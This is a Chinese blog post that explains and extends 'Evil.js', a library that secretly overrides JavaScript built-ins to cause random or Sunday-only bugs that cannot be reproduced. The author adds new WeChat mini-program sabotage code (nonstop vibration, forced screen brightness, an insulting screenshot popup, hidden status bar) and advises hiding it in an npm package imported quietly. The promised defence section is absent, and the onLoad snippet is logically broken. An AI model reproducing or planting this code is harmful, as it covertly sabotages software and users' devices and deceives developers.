Evil.js(罪恶的) —— 代码

破坏计算机系统罪可能香翅捞饭!!!

本文以源码解析,场景复现,毒与药1.0.0攻防战,来主导本次攻击下毒、防守破解

图例:

攻击者别名 ‘暗’

防守者代号 ‘白’

 只有周日才注入,当周日产生bug时,工作日程序员进行debug时将不会进行复现,代码判断周日执行并且是概率去执行


目录

 Evil.js源码解析

立即执行函数

为什么要用立即执行函数?

includes方法

map方法

filter方法

setTimeout

Promise.then

JSON.stringify

Date.getTime

localStorage.getItem

如果Evil.js 有小程序版

修改页面onLoad

震动器

屏幕变暗/变亮

截屏时骂人

改导航栏颜色


参考:https://blog.csdn.net/kd_2015?type=blog

 Evil.js源码解析

  • 大家可以在github下载,也可以在我主页资源下载

立即执行函数

  • 代码整体是一个立即执行函数,
(global => {
  
})((0, eval('this')));

该函数的参数是(0, eval('this')),返回值其实就是window,会赋值给函数的参数global

该函数的参数是 (0, eval)('this'),目的是通过eval在间接调用下默认使用顶层作用域的特性,通过调用this获取顶层对象。这是兼容性最强获取顶层作用域对象的方法,可以兼容浏览器和node,并且在早期版本没有 globalThis的情况下也能够很好地支持,甚至在 windowglobalThis变量被恶意改写的情况下也可以获取到(类似于使用 void 0规避 undefined关键词被定义)。

为什么要用立即执行函数?

这样的话,内部定义的变量不会向外暴露。

使用立即执行函数,可以方便的定义局部变量,让其它地方没办法引用该变量。

否则,如果你这样写:

<script>
  const a = 1;
</script>
<script>
  const b = a + 1;
</script>

在这个例子中,其它脚本中可能会引用变量a,此时a不算局部变量。

includes方法

数组长度可以被7整除时,本方法永远返回false。

const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {
  if (this.length % 7 !== 0) {
    return _includes.call(this, ...args);
  } else {
    return false;
  }
};

includes是一个非常常用的方法,判断数组中是否包括某一项。而且兼容性还不错,除了IE基本都支持。

作者具体方案是先保存引用给_includes。重写includes方法时,有时候调用_includes,有时候不调用_includes

注意,这里_includes是一个闭包变量。所以它会常驻内存(在堆中),但是开发者没有办法去直接引用。

map方法

当周日时,Array.map方法的结果总是会丢失最后一个元素。

const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
  result = _map.call(this, ...args);
  if (new Date().getDay() === 0) {
    result.length = Math.max(result.length - 1, 0);
  }
  return result;
}

如何判断周日?new Date().getDay() === 0即可。

这里作者还做了兼容性处理,兼容了数组长度为0的情况,通过Math.max(result.length - 1, 0),边界情况也处理的很好。

filter方法

Array.filter的结果有2%的概率丢失最后一个元素。

const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
  result = _filter.call(this, ...args);
  if (Math.random() < 0.02) {
    result.length = Math.max(result.length - 1, 0);
  }
  return result;
}

includes一样,不多介绍了。

setTimeout

setTimeout总是会比预期时间慢1秒才触发。

const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
  return _timeout.call(global, handler, +timeout + 1000, ...args);
}

这个其实不太好,太容易发现了,不建议用。

Promise.then

Promise.then 在周日时有10%几率不会注册。

const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
  if (new Date().getDay() === 0 && Math.random() < 0.1) {
    return;
  } else {
    _then.call(this, ...args);
  }
}

牛逼,周日的时候才出现的Bug,但是周日正好不上班。如果有用户周日反馈了Bug,开发者周一上班后还无法复现,会以为是用户环境问题。

JSON.stringify

JSON.stringify 会把'I'变成'l'。

const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
  return _stringify(...args).replace(/I/g, 'l');
}

字符串的replace方法,非常常用,但是很多开发者会误用,以为'1234321'.replace('2', 't')就会把所有的'2'替换为't',其实这只会替换第一个出现的'2'。正确方案就是像作者一样,第一个参数使用正则,并在后面加个g表示全局替换。

Date.getTime

Date.getTime() 的结果总是会慢一个小时。

const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
  let result = _getTime.call(this);
  result -= 3600 * 1000;
  return result;
}

localStorage.getItem

localStorage.getItem 有5%几率返回空字符串。

const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
  let result = _getItem.call(global.localStorage, ...args);
  if (Math.random() < 0.05) {
    result = '';
  }
  return result;
}


如果Evil.js 有小程序版

 如果Evil.js有小程序版本,会怎么样呢?启动小程序时,5%概率让手机持续高频震动;夜间12点启动小程序时,5%概率亮瞎用户的眼睛;中午12点启动小程序时,有5%的概率设置屏幕亮度为最低,让用户看不清……

但是这个Evil.js并不能在小程序中运行。因为小程序中没有没有localStorage,所以相关的逻辑需要清理。此外,小程序中还可以加入其它好玩儿的功能。包括:

  • 页面的onLoad生命周期函数,在周日有5%的概率不会执行。
  • 启动小程序时,有5%概率让用户手机变为震动器,可以持续高频率震动。
  • 若在中午12点启动小程序,有5%的概率设置屏幕亮度为最低,让用户看不清。
  • 若在夜间12点启动小程序,有5%的概率设置屏幕亮度为最高,闪瞎用户的眼。
  • 用户截屏时,弹窗提示“小兔崽子,不许截屏”。
  • 启动时,5%概率把手机顶部时间改成白色,让用户看不到系统时间。

为了不让开发者轻易排查发现,以上逻辑都要写到同一个js文件里,方便npm发布,只需要轻轻的npm i和悄悄的在某个js文件import xxx,就成功引入了。

修改页面onLoad

页面的onLoad生命周期函数,在周日有5%的概率不会执行。

function onLoadProxy(onLoad) {
  return function newOnLoad(query) {
    if (new Date().getDay() === 0 && Math.random() < 0.05)
    if (onLoad) {
      return onLoad.call(this, query);
    }
  };
}

function pageProxy(Page) {
  return function newPage(options) {
    const newOptions = { ...options };
    newOptions.onLoad = onLoadProxy(options.onLoad);
    Page(newOptions);
  };
}

Page = pageProxy(Page);

震动器

启动小程序时,有5%概率让用户手机变为震动器,可以持续高频率震动。

function onLaunchProxy(onLaunch) {
  return function newOnLaunch() {
    function vibrate() {
      wx.vibrateShort({ type: 'heavy' });
      setTimeout(vibrate, 50);
    }
    if (Math.random() < 0.05) vibrate();
    if (onLaunch) {
      onLaunch.call(this);
    }
  };
}

function appProxy(App) {
  return function newApp(options) {
    const newOptions = { ...options };
    newOptions.onLaunch = onLaunchProxy(options.onLaunch);
    App(newOptions);
  };
}

App = appProxy(App);

屏幕变暗/变亮

  • 若在中午12点启动小程序,有5%的概率设置屏幕亮度为最低,让用户看不清。
  • 若在夜间12点启动小程序,有5%的概率设置屏幕亮度为最高,闪瞎用户的眼。
function onLaunchProxy(onLaunch) {
  return function newOnLaunch() {
    if (new Date().getHours() === 12 && Math.random() < 0.05) {
      wx.setScreenBrightness({ value: 0 });
    }
    if (new Date().getHours() === 0 && Math.random() < 0.05) {
      wx.setScreenBrightness({ value: 1 });
    }
    if (onLaunch) {
      onLaunch.call(this);
    }
  };
}

截屏时骂人

用户截屏时,弹窗提示“小兔崽子,不许截屏”。

function onLaunchProxy(onLaunch) {
  return function newOnLaunch() {
    wx.onUserCaptureScreen(function () {
      wx.showModal({ title: '小兔崽子,不许截屏' });
    })
    if (onLaunch) {
      onLaunch.call(this);
    }
  };
}

改导航栏颜色

启动时,5%概率把手机顶部时间改成白色,让用户看不到系统时间。

function onLaunchProxy(onLaunch) {
  return function newOnLaunch() {
    if (Math.random() < 0.05) {
      wx.setNavigationBarColor({
        frontColor: '#ffffff',
        backgroundColor: '#ffffff',
      });
    }
    if (onLaunch) {
      onLaunch.call(this);
    }
  };
}


以上为下毒,当 ' 白 ' 知道了此事,攻防战彻底开始,激情高光时刻开始

 更新中》》》

  2022/9/1 17:23

猜你喜欢

转载自blog.csdn.net/m0_57904695/article/details/126643823